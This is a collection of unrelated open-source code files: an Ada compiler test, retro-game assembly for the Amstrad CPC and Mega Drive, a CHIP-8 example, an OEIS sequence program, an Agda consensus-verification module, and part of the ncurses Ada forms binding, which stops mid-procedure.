gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/string_comparison.adb
best08618/asylo
7
1121
<gh_stars>1-10 -- { dg-do compile } with Ada.Text_IO; use Ada.Text_IO; procedure String_Comparison is package Bool_IO is new Enumeration_IO (Boolean); use Bool_IO; begin Put (Boolean'Image (True) = "True"); end;
ay_cpc.asm
jorgicor/altair
0
105422
; ---------------------------------------------------------------------------- ; Altair, CIDLESA's 1981 arcade game remade for the ZX Spectrum and ; Amstrad CPC. ; ---------------------------------------------------------------------------- ; --------------------- ; AY-3-8912 sound chip. ; --------------------- ; If the AY-3-8912 sound chip is detected. ay_detected .db 1 ; --------------------------------- ; 'detect_ay' Detect AY-3-8912 chip ; --------------------------------- ; Will set 'ay_detected' to 1 if the AY sound chip is detected on the ; system, or 0 otherwise. detect_ay ret ; ------------ ; 'ay_refresh' ; ------------ ; Updates the AY chip registers copying our buffer of register data. ay_refresh ; Start from last register, so we can use some speed tricks on this routine. ld hl,ay_pattern ld e,+AY_NREGS-1 ; A always 0. xor a ; D always PPI A. ld d,PPI_AH ; Configure PPI port A as output. ; (Should be already). ; ld bc,+PPI_CTRL+$82 ; out (c),c ay_refresh_reg ; Select PSG register. ; 1 Write the PSG register number we want in PPI port A. ld b,d out (c),e ; 2 Use PPI port C 'select PSG register' function. ld bc,+PPI_C+$c0 out (c),c ; Use PPI port C 'PSG inactive' function. ; (Needed for CPC+). out (c),a ; Put the value for the PSG register in PPI port A. ld b,d ld c,(hl) out (c),c ; Use PPI port C 'Write to PSG register'. ld bc,+PPI_C+$80 out (c),c ; Use PPI port C 'PSG inactive' function. ; (Needed for CPC+). out (c),a ; Next register. dec hl dec e ; When E passes from 0 to 255, positive flag SF won't be set. jp p,ay_refresh_reg ret
examples/labels.asm
Bunogi/c8asm
0
161073
;Flash "0" on the screen repeatedly start: LD V0, 0x10 LD V1, 0x10 LD I, 0x0 startloop: LD V3, 0x2 LD DT, V3 ;flash every two seconds wait: LD V3, DT SE V3, 0 ;if dt == 0 draw jp wait draw: DRW V0, V1, 5 jp startloop
programs/oeis/089/A089357.asm
neoneye/loda
22
29100
<reponame>neoneye/loda<filename>programs/oeis/089/A089357.asm ; A089357: a(n) = 2^(6*n). ; 1,64,4096,262144,16777216,1073741824,68719476736,4398046511104,281474976710656,18014398509481984,1152921504606846976,73786976294838206464,4722366482869645213696,302231454903657293676544,19342813113834066795298816,1237940039285380274899124224,79228162514264337593543950336,5070602400912917605986812821504,324518553658426726783156020576256,20769187434139310514121985316880384 mov $1,64 pow $1,$0 mov $0,$1
code/main.asm
StardustGear/AMPS
0
179824
<gh_stars>0 include "error/Debugger.asm" include "code/macro.asm" include "AMPS/code/smps2asm.asm" include "AMPS/code/macro.asm" include "AMPS/lang.asm" ; =========================================================================== org 0 StartOfRom: dc.l Stack, EntryPoint, BusError, AddressError dc.l IllegalInstr, ZeroDivide, ChkInstr, TrapvInstr dc.l PrivilegeViol, Trace, Line1010Emu, Line1111Emu dc.l ErrorExcept, ErrorExcept, ErrorExcept, ErrorExcept dc.l ErrorExcept, ErrorExcept, ErrorExcept, ErrorExcept dc.l ErrorExcept, ErrorExcept, ErrorExcept, ErrorExcept dc.l ErrorExcept, ErrorTrap, ErrorTrap, ErrorTrap dc.l ErrorExcept, ErrorTrap, VInt, ErrorTrap dc.l ErrorTrap, ErrorTrap, ErrorTrap, ErrorTrap dc.l ErrorTrap, ErrorTrap, ErrorTrap, ErrorTrap dc.l ErrorTrap, ErrorTrap, ErrorTrap, ErrorTrap dc.l ErrorTrap, ErrorTrap, ErrorTrap, ErrorTrap dc.l ErrorTrap, ErrorTrap, ErrorTrap, ErrorTrap dc.l ErrorTrap, ErrorTrap, ErrorTrap, ErrorTrap dc.l ErrorTrap, ErrorTrap, ErrorTrap, ErrorTrap dc.l ErrorTrap, ErrorTrap, ErrorTrap, ErrorTrap HConsole: dc.b 'SEGA SSF ' ; Hardware system ID dc.b 'NATSUMI 2016-FEB' ; Release date dc.b "NATSUMI'S SEGA MEGA DRIVE SMPS PLAYER DEMO " ; Domestic name dc.b "NATSUMI'S SEGA MEGA DRIVE SMPS PLAYER DEMO " ; International name dc.b 'UNOFFICIAL-00 ' ; Serial/version number dc.w 0 dc.b 'J ' ; I/O support dc.l StartOfRom ; ROM start dc.l EndOfRom-1 ; ROM end dc.l $FF0000 ; RAM start dc.l $FFFFFF ; RAM end dc.b 'NO SRAM ' dc.b 'OPEN SOURCE SOFTWARE. YOU ARE WELCOME TO MAKE YOUR ' dc.b 'JUE ' dc.b 'OWN MODIFICATIONS. PLEASE CREDIT WHEN USED' ; =========================================================================== SystemPalette: incbin "code/main.pal" ; system main palette even SystemFont: incbin "code/font.kos" ; System font - made by Bakayote even ; =========================================================================== include "code/init.asm" ; initialization code and main loop include "code/string.asm" ; string lib include "code/draw.asm" ; rendering and visualisation routines include "code/vint.asm" ; v-int routines include "code/decomp.asm" ; decompressor routines ; =========================================================================== DualPCM: z80prog 0 include "AMPS/code/z80.asm" DualPCM_sz: z80prog align $10000 include "AMPS/code/68k.asm" opt ae- ; =========================================================================== opt ae+ include "error/ErrorHandler.asm" EndOfRom: END
LibraBFT/Impl/Handle.agda
oracle/bft-consensus-agda
4
16901
{- Byzantine Fault Tolerant Consensus Verification in Agda, version 0.9. Copyright (c) 2020, 2021, Oracle and/or its affiliates. Licensed under the Universal Permissive License v 1.0 as shown at https://opensource.oracle.com/licenses/upl -} open import LibraBFT.ImplShared.Base.Types open import LibraBFT.Abstract.Types.EpochConfig UID NodeId open import LibraBFT.Base.ByteString open import LibraBFT.Base.Encode open import LibraBFT.Base.KVMap as KVMap open import LibraBFT.Base.PKCS open import LibraBFT.Concrete.System open import LibraBFT.Concrete.System.Parameters open import LibraBFT.Hash open import LibraBFT.Impl.Consensus.EpochManagerTypes import LibraBFT.Impl.Consensus.Liveness.RoundState as RoundState import LibraBFT.Impl.IO.OBM.GenKeyFile as GenKeyFile open import LibraBFT.Impl.IO.OBM.InputOutputHandlers import LibraBFT.Impl.IO.OBM.Start as Start open import LibraBFT.Impl.OBM.Rust.RustTypes open import LibraBFT.Impl.OBM.Time import LibraBFT.Impl.Types.BlockInfo as BlockInfo import LibraBFT.Impl.Types.ValidatorSigner as ValidatorSigner open import LibraBFT.Impl.Consensus.RoundManager open import LibraBFT.ImplShared.Consensus.Types open import LibraBFT.ImplShared.Consensus.Types.EpochIndep open import LibraBFT.ImplShared.Interface.Output open import LibraBFT.ImplShared.Util.Crypto open import LibraBFT.ImplShared.Util.Util open import LibraBFT.Lemmas open import LibraBFT.Prelude open import LibraBFT.Yasm.Base import LibraBFT.Yasm.Types as LYT open import Optics.All -- This module connects implementation handlers to the interface of the SystemModel. module LibraBFT.Impl.Handle where open EpochConfig ------------------------------------------------------------------------------ -- This function works with any implementation of a RoundManager. -- NOTE: The system layer only cares about this step function. -- 0 is given as a timestamp. peerStep : NodeId → NetworkMsg → RoundManager → RoundManager × List (LYT.Action NetworkMsg) peerStep nid msg st = runHandler st (handle nid msg 0) where -- This invokes an implementation handler. runHandler : RoundManager → LBFT Unit → RoundManager × List (LYT.Action NetworkMsg) runHandler st handler = ×-map₂ (outputsToActions {st}) (proj₂ (LBFT-run handler st)) ------------------------------------------------------------------------------ -- This connects the implementation handler to the system model so it can be initialized. module InitHandler where {- IMPL-DIFF: In Haskell, nodes are started with a filepath of a file containing - number of faults allowed - genesis LedgerInfoWithSignatures - network addresses/name and secret and public keys of all nodes in the genesis epoch Main reads/checks that file then calls a network specific 'run' functions (e.g., ZMQ.hs) that setup the network handlers then eventually call 'Start.startViaConsensusProvider'. That functions calls 'ConsensusProvider.startConsensus' which returns '(EpochManager, [Output]'. 'Start.startViaConsensusProvider' then goes on to create and wire up internal communication channels and starts threads. The most relevant thread starts up `(EpochManager.obmStartLoop epochManager output ...)' to handle the initialization output and then to handle new messages from the network. In Agda below, - we assume 'BootstrapInfo' known to all peers - i.e., the same info that Haskell creates via 'GenKeyFile.create' - the assumed info is given to 'mkSysInitAndHandlers' in 'InitAndHandlers' - System initialization calls 'initHandler' - 'initHandler' eventually calls 'initialize' - 'initialize' calls 'State.startViaConsensusProvider' when then calls 'ConsensusProvider.startConsensus' which returns '(EpochManager, List Output)', just like Haskell. - Since there is no network, internal channels and threads, this is the end of this process. Note: although both the Haskell and Agda version support non-uniform voting, the above initialization process assumes one-vote per peer. -} postulate -- TODO-2: Eliminate when/if timestamps are modeled now : Instant proposalGenerator : ProposalGenerator proposalGenerator = ProposalGenerator∙new 0 initialize' : Instant → GenKeyFile.NfLiwsVsVvPe → Either ErrLog (EpochManager × List Output) initialize' now nfLiwsVsVvPe = Start.startViaConsensusProvider now nfLiwsVsVvPe (TxTypeDependentStuffForNetwork∙new proposalGenerator (StateComputer∙new BlockInfo.gENESIS_VERSION)) abstract initialize : Instant → GenKeyFile.NfLiwsVsVvPe → Either ErrLog (EpochManager × List Output) initialize = initialize' initialize≡ : initialize ≡ initialize' initialize≡ = refl mkNfLiwsVsVvPe : BootstrapInfo → ValidatorSigner → GenKeyFile.NfLiwsVsVvPe mkNfLiwsVsVvPe bsi vs = (bsi ^∙ bsiNumFaults , bsi ^∙ bsiLIWS , vs , bsi ^∙ bsiVV , bsi ^∙ bsiPE) initEMWithOutput' : BootstrapInfo → ValidatorSigner → Either ErrLog (EpochManager × List Output) initEMWithOutput' bsi vs = initialize now (mkNfLiwsVsVvPe bsi vs) initEMWithOutput : BootstrapInfo → ValidatorSigner → EitherD ErrLog (EpochManager × List Output) initEMWithOutput bsi vs = fromEither $ initialize now (mkNfLiwsVsVvPe bsi vs) getEmRm : EpochManager → Either ErrLog RoundManager getEmRm em = case em ^∙ emProcessor of λ where nothing → Left fakeErr (just p) → case p of λ where (RoundProcessorRecovery _) → Left fakeErr (RoundProcessorNormal rm) → Right rm initRMWithOutput' : BootstrapInfo → ValidatorSigner → Either ErrLog (RoundManager × List Output) initRMWithOutput' bsi vs = do (em , lo) ← initEMWithOutput' bsi vs rm ← getEmRm em Right (rm , lo) initRMWithOutput : BootstrapInfo → ValidatorSigner → EitherD ErrLog (RoundManager × List Output) initRMWithOutput bsi vs = do (em , lo) ← initEMWithOutput bsi vs rm ← fromEither $ getEmRm em fromEither $ Right (rm , lo) -- This shows that the Either and EitherD versions are equivalent. -- This is a first step towards eliminating the painful VariantOf stuff, -- so we can have the version that looks (almost) exactly like the Haskell, -- and the EitherD variant, broken into explicit steps, etc. for proving. initEMWithOutput≡ : ∀ {bsi : BootstrapInfo} {vs : ValidatorSigner} → initEMWithOutput' bsi vs ≡ EitherD-run (initEMWithOutput bsi vs) initEMWithOutput≡ {bsi} {vs} with initialize now (mkNfLiwsVsVvPe bsi vs) ... | Left _ = refl ... | Right _ = refl initRMWithOutput≡ : ∀ {bsi : BootstrapInfo} {vs : ValidatorSigner} → initRMWithOutput' bsi vs ≡ EitherD-run (initRMWithOutput bsi vs) initRMWithOutput≡ {bsi} {vs} with initialize now (mkNfLiwsVsVvPe bsi vs) ... | Left _ = refl ... | Right (em , _) with getEmRm em ... | Left _ = refl ... | Right _ = refl abstract initHandler : Author → BootstrapInfo → Maybe (RoundManager × List (LYT.Action NetworkMsg)) initHandler pid bsi = case ValidatorSigner.obmGetValidatorSigner pid (bsi ^∙ bsiVSS) of λ where (Left _) → nothing (Right vs) → case initRMWithOutput' bsi vs of λ where (Left _) → nothing (Right (rm , lo)) → just (rm , outputsToActions {State = rm} lo) InitAndHandlers : SystemInitAndHandlers ℓ-RoundManager ConcSysParms InitAndHandlers = mkSysInitAndHandlers fakeBootstrapInfo fakeInitRM initHandler peerStep where postulate -- TODO-1: eliminate by constructing inhabitants bs : BlockStore pe : ProposerElection rs : RoundState sr : SafetyRules vv : BootstrapInfo → ValidatorVerifier -- For uninitialised peers, so we know nothing about their state. -- Construct a value of type `RoundManager` to ensure it is inhabitable. fakeInitRM : RoundManager fakeInitRM = RoundManager∙new ObmNeedFetch∙new (EpochState∙new 1 (vv fakeBootstrapInfo)) bs rs pe proposalGenerator sr false
Ada95/src/terminal_interface-curses-forms.adb
Distrotech/ncurses
1
19720
<filename>Ada95/src/terminal_interface-curses-forms.adb<gh_stars>1-10 ------------------------------------------------------------------------------ -- -- -- GNAT ncurses Binding -- -- -- -- Terminal_Interface.Curses.Forms -- -- -- -- B O D Y -- -- -- ------------------------------------------------------------------------------ -- Copyright (c) 1998-2009,2011 Free Software Foundation, Inc. -- -- -- -- Permission is hereby granted, free of charge, to any person obtaining a -- -- copy of this software and associated documentation files (the -- -- "Software"), to deal in the Software without restriction, including -- -- without limitation the rights to use, copy, modify, merge, publish, -- -- distribute, distribute with modifications, sublicense, and/or sell -- -- copies of the Software, and to permit persons to whom the Software is -- -- furnished to do so, subject to the following conditions: -- -- -- -- The above copyright notice and this permission notice shall be included -- -- in all copies or substantial portions of the Software. -- -- -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -- -- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -- -- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -- -- IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, -- -- DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR -- -- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR -- -- THE USE OR OTHER DEALINGS IN THE SOFTWARE. -- -- -- -- Except as contained in this notice, the name(s) of the above copyright -- -- holders shall not be used in advertising or otherwise to promote the -- -- sale, use or other dealings in this Software without prior written -- -- authorization. -- ------------------------------------------------------------------------------ -- Author: <NAME>, 1996 -- Version Control: -- $Revision: 1.28 $ -- $Date: 2011/03/22 23:37:32 $ -- Binding Version 01.00 ------------------------------------------------------------------------------ with Ada.Unchecked_Deallocation; with Ada.Unchecked_Conversion; with Interfaces.C; use Interfaces.C; with Interfaces.C.Strings; use Interfaces.C.Strings; with Interfaces.C.Pointers; with Terminal_Interface.Curses.Aux; package body Terminal_Interface.Curses.Forms is use Terminal_Interface.Curses.Aux; type C_Field_Array is array (Natural range <>) of aliased Field; package F_Array is new Interfaces.C.Pointers (Natural, Field, C_Field_Array, Null_Field); ------------------------------------------------------------------------------ -- | -- | -- | -- subtype chars_ptr is Interfaces.C.Strings.chars_ptr; function FOS_2_CInt is new Ada.Unchecked_Conversion (Field_Option_Set, C_Int); function CInt_2_FOS is new Ada.Unchecked_Conversion (C_Int, Field_Option_Set); function FrmOS_2_CInt is new Ada.Unchecked_Conversion (Form_Option_Set, C_Int); function CInt_2_FrmOS is new Ada.Unchecked_Conversion (C_Int, Form_Option_Set); procedure Request_Name (Key : Form_Request_Code; Name : out String) is function Form_Request_Name (Key : C_Int) return chars_ptr; pragma Import (C, Form_Request_Name, "form_request_name"); begin Fill_String (Form_Request_Name (C_Int (Key)), Name); end Request_Name; function Request_Name (Key : Form_Request_Code) return String is function Form_Request_Name (Key : C_Int) return chars_ptr; pragma Import (C, Form_Request_Name, "form_request_name"); begin return Fill_String (Form_Request_Name (C_Int (Key))); end Request_Name; ------------------------------------------------------------------------------ -- | -- | -- | -- | -- |===================================================================== -- | man page form_field_new.3x -- |===================================================================== -- | -- | -- | function Create (Height : Line_Count; Width : Column_Count; Top : Line_Position; Left : Column_Position; Off_Screen : Natural := 0; More_Buffers : Buffer_Number := Buffer_Number'First) return Field is function Newfield (H, W, T, L, O, M : C_Int) return Field; pragma Import (C, Newfield, "new_field"); Fld : constant Field := Newfield (C_Int (Height), C_Int (Width), C_Int (Top), C_Int (Left), C_Int (Off_Screen), C_Int (More_Buffers)); begin if Fld = Null_Field then raise Form_Exception; end if; return Fld; end Create; -- | -- | -- | procedure Delete (Fld : in out Field) is function Free_Field (Fld : Field) return C_Int; pragma Import (C, Free_Field, "free_field"); Res : Eti_Error; begin Res := Free_Field (Fld); if Res /= E_Ok then Eti_Exception (Res); end if; Fld := Null_Field; end Delete; -- | -- | -- | function Duplicate (Fld : Field; Top : Line_Position; Left : Column_Position) return Field is function Dup_Field (Fld : Field; Top : C_Int; Left : C_Int) return Field; pragma Import (C, Dup_Field, "dup_field"); F : constant Field := Dup_Field (Fld, C_Int (Top), C_Int (Left)); begin if F = Null_Field then raise Form_Exception; end if; return F; end Duplicate; -- | -- | -- | function Link (Fld : Field; Top : Line_Position; Left : Column_Position) return Field is function Lnk_Field (Fld : Field; Top : C_Int; Left : C_Int) return Field; pragma Import (C, Lnk_Field, "link_field"); F : constant Field := Lnk_Field (Fld, C_Int (Top), C_Int (Left)); begin if F = Null_Field then raise Form_Exception; end if; return F; end Link; -- | -- |===================================================================== -- | man page form_field_just.3x -- |===================================================================== -- | -- | -- | procedure Set_Justification (Fld : Field; Just : Field_Justification := None) is function Set_Field_Just (Fld : Field; Just : C_Int) return C_Int; pragma Import (C, Set_Field_Just, "set_field_just"); Res : constant Eti_Error := Set_Field_Just (Fld, C_Int (Field_Justification'Pos (Just))); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Justification; -- | -- | -- | function Get_Justification (Fld : Field) return Field_Justification is function Field_Just (Fld : Field) return C_Int; pragma Import (C, Field_Just, "field_just"); begin return Field_Justification'Val (Field_Just (Fld)); end Get_Justification; -- | -- |===================================================================== -- | man page form_field_buffer.3x -- |===================================================================== -- | -- | -- | procedure Set_Buffer (Fld : Field; Buffer : Buffer_Number := Buffer_Number'First; Str : String) is type Char_Ptr is access all Interfaces.C.char; function Set_Fld_Buffer (Fld : Field; Bufnum : C_Int; S : Char_Ptr) return C_Int; pragma Import (C, Set_Fld_Buffer, "set_field_buffer"); Txt : char_array (0 .. Str'Length); Len : size_t; Res : Eti_Error; begin To_C (Str, Txt, Len); Res := Set_Fld_Buffer (Fld, C_Int (Buffer), Txt (Txt'First)'Access); if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Buffer; -- | -- | -- | procedure Get_Buffer (Fld : Field; Buffer : Buffer_Number := Buffer_Number'First; Str : out String) is function Field_Buffer (Fld : Field; B : C_Int) return chars_ptr; pragma Import (C, Field_Buffer, "field_buffer"); begin Fill_String (Field_Buffer (Fld, C_Int (Buffer)), Str); end Get_Buffer; function Get_Buffer (Fld : Field; Buffer : Buffer_Number := Buffer_Number'First) return String is function Field_Buffer (Fld : Field; B : C_Int) return chars_ptr; pragma Import (C, Field_Buffer, "field_buffer"); begin return Fill_String (Field_Buffer (Fld, C_Int (Buffer))); end Get_Buffer; -- | -- | -- | procedure Set_Status (Fld : Field; Status : Boolean := True) is function Set_Fld_Status (Fld : Field; St : C_Int) return C_Int; pragma Import (C, Set_Fld_Status, "set_field_status"); Res : constant Eti_Error := Set_Fld_Status (Fld, Boolean'Pos (Status)); begin if Res /= E_Ok then raise Form_Exception; end if; end Set_Status; -- | -- | -- | function Changed (Fld : Field) return Boolean is function Field_Status (Fld : Field) return C_Int; pragma Import (C, Field_Status, "field_status"); Res : constant C_Int := Field_Status (Fld); begin if Res = Curses_False then return False; else return True; end if; end Changed; -- | -- | -- | procedure Set_Maximum_Size (Fld : Field; Max : Natural := 0) is function Set_Field_Max (Fld : Field; M : C_Int) return C_Int; pragma Import (C, Set_Field_Max, "set_max_field"); Res : constant Eti_Error := Set_Field_Max (Fld, C_Int (Max)); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Maximum_Size; -- | -- |===================================================================== -- | man page form_field_opts.3x -- |===================================================================== -- | -- | -- | procedure Set_Options (Fld : Field; Options : Field_Option_Set) is function Set_Field_Opts (Fld : Field; Opt : C_Int) return C_Int; pragma Import (C, Set_Field_Opts, "set_field_opts"); Opt : constant C_Int := FOS_2_CInt (Options); Res : Eti_Error; begin Res := Set_Field_Opts (Fld, Opt); if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Options; -- | -- | -- | procedure Switch_Options (Fld : Field; Options : Field_Option_Set; On : Boolean := True) is function Field_Opts_On (Fld : Field; Opt : C_Int) return C_Int; pragma Import (C, Field_Opts_On, "field_opts_on"); function Field_Opts_Off (Fld : Field; Opt : C_Int) return C_Int; pragma Import (C, Field_Opts_Off, "field_opts_off"); Err : Eti_Error; Opt : constant C_Int := FOS_2_CInt (Options); begin if On then Err := Field_Opts_On (Fld, Opt); else Err := Field_Opts_Off (Fld, Opt); end if; if Err /= E_Ok then Eti_Exception (Err); end if; end Switch_Options; -- | -- | -- | procedure Get_Options (Fld : Field; Options : out Field_Option_Set) is function Field_Opts (Fld : Field) return C_Int; pragma Import (C, Field_Opts, "field_opts"); Res : constant C_Int := Field_Opts (Fld); begin Options := CInt_2_FOS (Res); end Get_Options; -- | -- | -- | function Get_Options (Fld : Field := Null_Field) return Field_Option_Set is Fos : Field_Option_Set; begin Get_Options (Fld, Fos); return Fos; end Get_Options; -- | -- |===================================================================== -- | man page form_field_attributes.3x -- |===================================================================== -- | -- | -- | procedure Set_Foreground (Fld : Field; Fore : Character_Attribute_Set := Normal_Video; Color : Color_Pair := Color_Pair'First) is function Set_Field_Fore (Fld : Field; Attr : C_Chtype) return C_Int; pragma Import (C, Set_Field_Fore, "set_field_fore"); Ch : constant Attributed_Character := (Ch => Character'First, Color => Color, Attr => Fore); Res : constant Eti_Error := Set_Field_Fore (Fld, AttrChar_To_Chtype (Ch)); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Foreground; -- | -- | -- | procedure Foreground (Fld : Field; Fore : out Character_Attribute_Set) is function Field_Fore (Fld : Field) return C_Chtype; pragma Import (C, Field_Fore, "field_fore"); begin Fore := Chtype_To_AttrChar (Field_Fore (Fld)).Attr; end Foreground; procedure Foreground (Fld : Field; Fore : out Character_Attribute_Set; Color : out Color_Pair) is function Field_Fore (Fld : Field) return C_Chtype; pragma Import (C, Field_Fore, "field_fore"); begin Fore := Chtype_To_AttrChar (Field_Fore (Fld)).Attr; Color := Chtype_To_AttrChar (Field_Fore (Fld)).Color; end Foreground; -- | -- | -- | procedure Set_Background (Fld : Field; Back : Character_Attribute_Set := Normal_Video; Color : Color_Pair := Color_Pair'First) is function Set_Field_Back (Fld : Field; Attr : C_Chtype) return C_Int; pragma Import (C, Set_Field_Back, "set_field_back"); Ch : constant Attributed_Character := (Ch => Character'First, Color => Color, Attr => Back); Res : constant Eti_Error := Set_Field_Back (Fld, AttrChar_To_Chtype (Ch)); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Background; -- | -- | -- | procedure Background (Fld : Field; Back : out Character_Attribute_Set) is function Field_Back (Fld : Field) return C_Chtype; pragma Import (C, Field_Back, "field_back"); begin Back := Chtype_To_AttrChar (Field_Back (Fld)).Attr; end Background; procedure Background (Fld : Field; Back : out Character_Attribute_Set; Color : out Color_Pair) is function Field_Back (Fld : Field) return C_Chtype; pragma Import (C, Field_Back, "field_back"); begin Back := Chtype_To_AttrChar (Field_Back (Fld)).Attr; Color := Chtype_To_AttrChar (Field_Back (Fld)).Color; end Background; -- | -- | -- | procedure Set_Pad_Character (Fld : Field; Pad : Character := Space) is function Set_Field_Pad (Fld : Field; Ch : C_Int) return C_Int; pragma Import (C, Set_Field_Pad, "set_field_pad"); Res : constant Eti_Error := Set_Field_Pad (Fld, C_Int (Character'Pos (Pad))); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Pad_Character; -- | -- | -- | procedure Pad_Character (Fld : Field; Pad : out Character) is function Field_Pad (Fld : Field) return C_Int; pragma Import (C, Field_Pad, "field_pad"); begin Pad := Character'Val (Field_Pad (Fld)); end Pad_Character; -- | -- |===================================================================== -- | man page form_field_info.3x -- |===================================================================== -- | -- | -- | procedure Info (Fld : Field; Lines : out Line_Count; Columns : out Column_Count; First_Row : out Line_Position; First_Column : out Column_Position; Off_Screen : out Natural; Additional_Buffers : out Buffer_Number) is type C_Int_Access is access all C_Int; function Fld_Info (Fld : Field; L, C, Fr, Fc, Os, Ab : C_Int_Access) return C_Int; pragma Import (C, Fld_Info, "field_info"); L, C, Fr, Fc, Os, Ab : aliased C_Int; Res : constant Eti_Error := Fld_Info (Fld, L'Access, C'Access, Fr'Access, Fc'Access, Os'Access, Ab'Access); begin if Res /= E_Ok then Eti_Exception (Res); else Lines := Line_Count (L); Columns := Column_Count (C); First_Row := Line_Position (Fr); First_Column := Column_Position (Fc); Off_Screen := Natural (Os); Additional_Buffers := Buffer_Number (Ab); end if; end Info; -- | -- | -- | procedure Dynamic_Info (Fld : Field; Lines : out Line_Count; Columns : out Column_Count; Max : out Natural) is type C_Int_Access is access all C_Int; function Dyn_Info (Fld : Field; L, C, M : C_Int_Access) return C_Int; pragma Import (C, Dyn_Info, "dynamic_field_info"); L, C, M : aliased C_Int; Res : constant Eti_Error := Dyn_Info (Fld, L'Access, C'Access, M'Access); begin if Res /= E_Ok then Eti_Exception (Res); else Lines := Line_Count (L); Columns := Column_Count (C); Max := Natural (M); end if; end Dynamic_Info; -- | -- |===================================================================== -- | man page form_win.3x -- |===================================================================== -- | -- | -- | procedure Set_Window (Frm : Form; Win : Window) is function Set_Form_Win (Frm : Form; Win : Window) return C_Int; pragma Import (C, Set_Form_Win, "set_form_win"); Res : constant Eti_Error := Set_Form_Win (Frm, Win); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Window; -- | -- | -- | function Get_Window (Frm : Form) return Window is function Form_Win (Frm : Form) return Window; pragma Import (C, Form_Win, "form_win"); W : constant Window := Form_Win (Frm); begin return W; end Get_Window; -- | -- | -- | procedure Set_Sub_Window (Frm : Form; Win : Window) is function Set_Form_Sub (Frm : Form; Win : Window) return C_Int; pragma Import (C, Set_Form_Sub, "set_form_sub"); Res : constant Eti_Error := Set_Form_Sub (Frm, Win); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Sub_Window; -- | -- | -- | function Get_Sub_Window (Frm : Form) return Window is function Form_Sub (Frm : Form) return Window; pragma Import (C, Form_Sub, "form_sub"); W : constant Window := Form_Sub (Frm); begin return W; end Get_Sub_Window; -- | -- | -- | procedure Scale (Frm : Form; Lines : out Line_Count; Columns : out Column_Count) is type C_Int_Access is access all C_Int; function M_Scale (Frm : Form; Yp, Xp : C_Int_Access) return C_Int; pragma Import (C, M_Scale, "scale_form"); X, Y : aliased C_Int; Res : constant Eti_Error := M_Scale (Frm, Y'Access, X'Access); begin if Res /= E_Ok then Eti_Exception (Res); end if; Lines := Line_Count (Y); Columns := Column_Count (X); end Scale; -- | -- |===================================================================== -- | man page menu_hook.3x -- |===================================================================== -- | -- | -- | procedure Set_Field_Init_Hook (Frm : Form; Proc : Form_Hook_Function) is function Set_Field_Init (Frm : Form; Proc : Form_Hook_Function) return C_Int; pragma Import (C, Set_Field_Init, "set_field_init"); Res : constant Eti_Error := Set_Field_Init (Frm, Proc); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Field_Init_Hook; -- | -- | -- | procedure Set_Field_Term_Hook (Frm : Form; Proc : Form_Hook_Function) is function Set_Field_Term (Frm : Form; Proc : Form_Hook_Function) return C_Int; pragma Import (C, Set_Field_Term, "set_field_term"); Res : constant Eti_Error := Set_Field_Term (Frm, Proc); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Field_Term_Hook; -- | -- | -- | procedure Set_Form_Init_Hook (Frm : Form; Proc : Form_Hook_Function) is function Set_Form_Init (Frm : Form; Proc : Form_Hook_Function) return C_Int; pragma Import (C, Set_Form_Init, "set_form_init"); Res : constant Eti_Error := Set_Form_Init (Frm, Proc); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Form_Init_Hook; -- | -- | -- | procedure Set_Form_Term_Hook (Frm : Form; Proc : Form_Hook_Function) is function Set_Form_Term (Frm : Form; Proc : Form_Hook_Function) return C_Int; pragma Import (C, Set_Form_Term, "set_form_term"); Res : constant Eti_Error := Set_Form_Term (Frm, Proc); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Form_Term_Hook; -- | -- |===================================================================== -- | man page form_fields.3x -- |===================================================================== -- | -- | -- | procedure Redefine (Frm : Form; Flds : Field_Array_Access) is function Set_Frm_Fields (Frm : Form; Items : System.Address) return C_Int; pragma Import (C, Set_Frm_Fields, "set_form_fields"); Res : Eti_Error; begin pragma Assert (Flds.all (Flds'Last) = Null_Field); if Flds.all (Flds'Last) /= Null_Field then raise Form_Exception; else Res := Set_Frm_Fields (Frm, Flds.all (Flds'First)'Address); if Res /= E_Ok then Eti_Exception (Res); end if; end if; end Redefine; -- | -- | -- | function Fields (Frm : Form; Index : Positive) return Field is use F_Array; function C_Fields (Frm : Form) return Pointer; pragma Import (C, C_Fields, "form_fields"); P : Pointer := C_Fields (Frm); begin if P = null or else Index > Field_Count (Frm) then raise Form_Exception; else P := P + ptrdiff_t (C_Int (Index) - 1); return P.all; end if; end Fields; -- | -- | -- | function Field_Count (Frm : Form) return Natural is function Count (Frm : Form) return C_Int; pragma Import (C, Count, "field_count"); begin return Natural (Count (Frm)); end Field_Count; -- | -- | -- | procedure Move (Fld : Field; Line : Line_Position; Column : Column_Position) is function Move (Fld : Field; L, C : C_Int) return C_Int; pragma Import (C, Move, "move_field"); Res : constant Eti_Error := Move (Fld, C_Int (Line), C_Int (Column)); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Move; -- | -- |===================================================================== -- | man page form_new.3x -- |===================================================================== -- | -- | -- | function Create (Fields : Field_Array_Access) return Form is function NewForm (Fields : System.Address) return Form; pragma Import (C, NewForm, "new_form"); M : Form; begin pragma Assert (Fields.all (Fields'Last) = Null_Field); if Fields.all (Fields'Last) /= Null_Field then raise Form_Exception; else M := NewForm (Fields.all (Fields'First)'Address); if M = Null_Form then raise Form_Exception; end if; return M; end if; end Create; -- | -- | -- | procedure Delete (Frm : in 